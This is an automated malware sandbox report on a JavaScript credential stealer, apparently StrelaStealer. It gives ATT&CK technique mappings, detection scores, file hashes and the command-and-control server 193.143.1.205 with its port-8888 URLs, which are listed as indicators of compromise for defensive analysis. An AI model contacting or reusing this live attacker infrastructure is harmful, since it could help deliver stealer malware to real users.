Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	2 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	142 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
293459661900119816.js	5%	Virustotal		Browse
293459661900119816.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/t	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2237834353.000002A62BAB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3461387604.000002A62BC08000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/t	net.exe, 00000007.00000002.2238678348.000001D05A5CC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2238678348.000001D05A598000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2238678348.000001D05A5CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2238678348.000001D05A5EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2238678348.000001D05A598000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588790
Start date and time:	2025-01-11 05:32:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	293459661900119816.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 4.245.163.56, 23.209.209.135, 199.232.210.172, 40.69.42.241, 20.242.39.171, 52.165.164.15, 2.16.168.107, 2.16.168.105, 13.85.23.206, 13.107.246.45, 34.237.241.83, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:33:51	API Interceptor	22x Sleep call for process: powershell.exe modified
23:33:55	API Interceptor	1x Sleep call for process: net.exe modified
23:33:55	API Interceptor	2x Sleep call for process: svchost.exe modified
23:34:03	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	10256249222235922013.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6734200751517017767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	584319483127519041.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263314663599484
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0x:9JZj5MiKNnNhoxuQ
MD5:	ADE565628015E3429F3A3F4024947A87
SHA1:	0A38281E9533291B00E9D8D12044C63238DE52FF
SHA-256:	EF5F7D33457062539F008F39E52F19A937AA15785337258E7C6BD49A0F65C893
SHA-512:	1FA777F8F206006BC22461B12CFA843F27EB4B518D26C19D7357CA78914F9B8064D48502605B27D0170228A32E972B54B32C859B4CBEBE584DD252D59789AF3A
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xe4542bba, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555770196836971
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	B1102E2248CE48DEE875795AE833AB91
SHA1:	9B8517E3D50833E419D05F077B8A9B863F6C1F82
SHA-256:	1FB6C197F00F2B66A01E0E2F5F869D65EA6E5FD1DFFC0B9CED43D8D924CDBD53
SHA-512:	C2A1155B18E98C75B8A7BD54CE1F736950B96BFC899712D133AB33533353CF6328D4B32A4D66E9249D5B783EDD8D0365A9458D81BC66F3FC0773190D79681CA2
Malicious:	false
Preview:	.T+.... .......7.......X\...;...{......................0.e......!...{?.7!...}u.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{......................................7!...}u..................h..7!...}u..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07984105005364
Encrypted:	false
SSDEEP:	3:6W/EYelTRQ3fNaAPaU1ldE2QBalluxmO+l/SNxOf:6dzlTRWNDPaUVE2LgmOH
MD5:	8481DF723F085F51F68C2748171E37EF
SHA1:	B6E75D3C284F0E410B08BAAA986A9BE0A4EEEE87
SHA-256:	9BAEB85105D10093BBE0E261BABF8578839AE182000067C2286E83C9FD3E5052
SHA-512:	FEF76542173148317CBDF54D07FA7C343A9DC67453CE709AD1EDCED643544D411F98C1AF6EA4108BCC076A065FCD45F50A76FB684FA4FDB4318A5E6CC2BE0944
Malicious:	false
Preview:	..Q......................................;...{..7!...}u..!...{?..........!...{?..!...{?..g...!...{?..................h..7!...}u.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.192525984127575
Encrypted:	false
SSDEEP:	6:iO4q7YwwQL+q2PN72nKuAl9OmbnIFUtSq7YhG1Zmwsq7YhQLVkwON72nKuAl9Omt:7RYwwVvVaHAahFUtPYhG1/1YhI5OaHAR
MD5:	50A5C8D192107C34EA8217D353486DE5
SHA1:	BCCC488DEA9FD722A93CC6A48FE95E250A371DF0
SHA-256:	4228519CD58BABC84CE2A7FE3B39F443ED11BB427C9B0EFAAAABB3597F07FA31
SHA-512:	6FEF0AD121275F8591D69782F1853BF352A7FFAC251AF234FFB10CD8DCE479B7FCE7B279B2AC3FF3107EE3A8C3B61D1F4F1963492C3CE0B1A4BC0CC65364F8AB
Malicious:	false
Preview:	2025/01/10-23:33:55.415 8c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:33:55.417 8c8 Recovering log #3.2025/01/10-23:33:55.417 8c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.192525984127575
Encrypted:	false
SSDEEP:	6:iO4q7YwwQL+q2PN72nKuAl9OmbnIFUtSq7YhG1Zmwsq7YhQLVkwON72nKuAl9Omt:7RYwwVvVaHAahFUtPYhG1/1YhI5OaHAR
MD5:	50A5C8D192107C34EA8217D353486DE5
SHA1:	BCCC488DEA9FD722A93CC6A48FE95E250A371DF0
SHA-256:	4228519CD58BABC84CE2A7FE3B39F443ED11BB427C9B0EFAAAABB3597F07FA31
SHA-512:	6FEF0AD121275F8591D69782F1853BF352A7FFAC251AF234FFB10CD8DCE479B7FCE7B279B2AC3FF3107EE3A8C3B61D1F4F1963492C3CE0B1A4BC0CC65364F8AB
Malicious:	false
Preview:	2025/01/10-23:33:55.415 8c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:33:55.417 8c8 Recovering log #3.2025/01/10-23:33:55.417 8c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.084700319297752
Encrypted:	false
SSDEEP:	6:iO4q7YHU8L+q2PN72nKuAl9Ombzo2jMGIFUtSq7YtJ1KWZmwsq7YtJjLVkwON72g:7RYHhL+vVaHAa8uFUtPYEW/1YfLV5Oag
MD5:	F15F55839A79BB9EF1C36692BF160B17
SHA1:	ED74FEA7A529C46D2FF88B994C17B51A82151DFB
SHA-256:	23799454B136D88E38545AC8C31FDB418AAD956E292B6D7E0F207B33D87B385B
SHA-512:	9B2689F710EA76606D3D04089E8D85CC42FB1B8E06EDC63D870351A9A0BCA6538A94C37F31B5B85891F68CF18935D0646A84A6DB13CFB67E37FE9482F9168090
Malicious:	false
Preview:	2025/01/10-23:33:55.600 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:33:55.602 1ccc Recovering log #3.2025/01/10-23:33:55.602 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.084700319297752
Encrypted:	false
SSDEEP:	6:iO4q7YHU8L+q2PN72nKuAl9Ombzo2jMGIFUtSq7YtJ1KWZmwsq7YtJjLVkwON72g:7RYHhL+vVaHAa8uFUtPYEW/1YfLV5Oag
MD5:	F15F55839A79BB9EF1C36692BF160B17
SHA1:	ED74FEA7A529C46D2FF88B994C17B51A82151DFB
SHA-256:	23799454B136D88E38545AC8C31FDB418AAD956E292B6D7E0F207B33D87B385B
SHA-512:	9B2689F710EA76606D3D04089E8D85CC42FB1B8E06EDC63D870351A9A0BCA6538A94C37F31B5B85891F68CF18935D0646A84A6DB13CFB67E37FE9482F9168090
Malicious:	false
Preview:	2025/01/10-23:33:55.600 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:33:55.602 1ccc Recovering log #3.2025/01/10-23:33:55.602 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\457640a7-ee51-4f61-bf10-219380169260.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968905002143365
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjssBdOg2HAcaq3QYiubcP7E4T3y:Y2sRdsqRdMHr3QYhbA7nby
MD5:	A013F9C226A94C66975B3BCDB776AC59
SHA1:	D267A09DD25119EBA0F1FEEB7ED38F68C6168C33
SHA-256:	927499FFE460037ABDE16B269764F53916A671831CB745D278FFBD966594902C
SHA-512:	F92B42D5F18F84A6715A2F033B9ADB8A28A0FEFD6320FE6C1727D675C3CA4F430812718D7082563777033AFC416985337B208E206DC5A5C75625D35ECF2D6EF6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130046735469","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140490},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.968905002143365
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjssBdOg2HAcaq3QYiubcP7E4T3y:Y2sRdsqRdMHr3QYhbA7nby
MD5:	A013F9C226A94C66975B3BCDB776AC59
SHA1:	D267A09DD25119EBA0F1FEEB7ED38F68C6168C33
SHA-256:	927499FFE460037ABDE16B269764F53916A671831CB745D278FFBD966594902C
SHA-512:	F92B42D5F18F84A6715A2F033B9ADB8A28A0FEFD6320FE6C1727D675C3CA4F430812718D7082563777033AFC416985337B208E206DC5A5C75625D35ECF2D6EF6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130046735469","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140490},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.249409218589082
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE76C6Cr:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzht
MD5:	B2EEE18B12528F9D19F2EE641ADDA7FC
SHA1:	32559D3DDC5B8924DC431722B16C0CE91A82A092
SHA-256:	1293B06011BCEF9B1F90F325C741B42B54C9742786A3E63FE0DAD9DF8E44B76E
SHA-512:	D80540DE7A996D9E9F03B460EA7CA1CF619630471DB045BFF6F8253B6E3DF84CDB766D5C08EA4782C76F72C498C67D9915C309DBEE4944C57EBE17260F36F559
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.108739113290147
Encrypted:	false
SSDEEP:	6:iO4q7YUhL+q2PN72nKuAl9OmbzNMxIFUtSq7YghKWZmwsq7Y5GGjLVkwON72nKuP:7RYUhL+vVaHAa8jFUtPYTW/1YnLV5Oav
MD5:	15A5120886F8651F63BC6FE978018132
SHA1:	7B8E201BEFA863FE92675B2033BE50807541920A
SHA-256:	CB7DAA1FD5D28E186F60F646DEFD18916E464B7A131008ECB079932DCB52AB7D
SHA-512:	14A6E406D1F0F126084C9CF9717C31A658433D002ED355E6D7658BB601B3C0496DE1AE4B98BC44C2B9CCD09F401D2903ED31EC72EAB4DF6B09E2EB14A81DED7F
Malicious:	false
Preview:	2025/01/10-23:33:55.911 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:33:55.924 1ccc Recovering log #3.2025/01/10-23:33:55.930 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.108739113290147
Encrypted:	false
SSDEEP:	6:iO4q7YUhL+q2PN72nKuAl9OmbzNMxIFUtSq7YghKWZmwsq7Y5GGjLVkwON72nKuP:7RYUhL+vVaHAa8jFUtPYTW/1YnLV5Oav
MD5:	15A5120886F8651F63BC6FE978018132
SHA1:	7B8E201BEFA863FE92675B2033BE50807541920A
SHA-256:	CB7DAA1FD5D28E186F60F646DEFD18916E464B7A131008ECB079932DCB52AB7D
SHA-512:	14A6E406D1F0F126084C9CF9717C31A658433D002ED355E6D7658BB601B3C0496DE1AE4B98BC44C2B9CCD09F401D2903ED31EC72EAB4DF6B09E2EB14A81DED7F
Malicious:	false
Preview:	2025/01/10-23:33:55.911 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:33:55.924 1ccc Recovering log #3.2025/01/10-23:33:55.930 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444641446534441
Encrypted:	false
SSDEEP:	384:ye6ci5tliBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mOs3OazzU89UTTgUL
MD5:	1ECDA96845F63AC656635BEE12A94E11
SHA1:	4B242C79AF685B08A30CA7B9300D3AAE6A798190
SHA-256:	01C24E2A9C081510E5C2FB9766D87ECB0ED023F4FC4D3D8B0E17F87313D685C9
SHA-512:	EAF9DA87FD1711748F71F00898F34309F94549795F93AFC5B8B8F07293D74EFB701B76DBB7DA4B368F245CD1FBED84A1609FD1AF9AB10E15F7FFAE07DE60D602
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7685751497436324
Encrypted:	false
SSDEEP:	48:7MQJioyVwiioyBToy1C7oy16oy17XKOioy1noy1AYoy1Wioy1oioykioyBoy1nob:7TJuwi08W9XjBijb9IVXEBodRBkw
MD5:	91D074AE023E8DF8F2E8DC3250DA2421
SHA1:	2D28FB368D2DF3D2A618A4EF26BFD01C797DA42A
SHA-256:	13920DCC0F2B5F4CE6CBEA48B10E168508AA8AE32926D718F553F421FC5206FA
SHA-512:	8ECDEA2B6713479E5A06C89D0352F618842160CE653D9498DD0809B225C5FB9A11792456C108B5D0A243A15CB39FBD605FB07392005C2DB4B24EBD2976EF6779
Malicious:	false
Preview:	.... .c.......Z................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
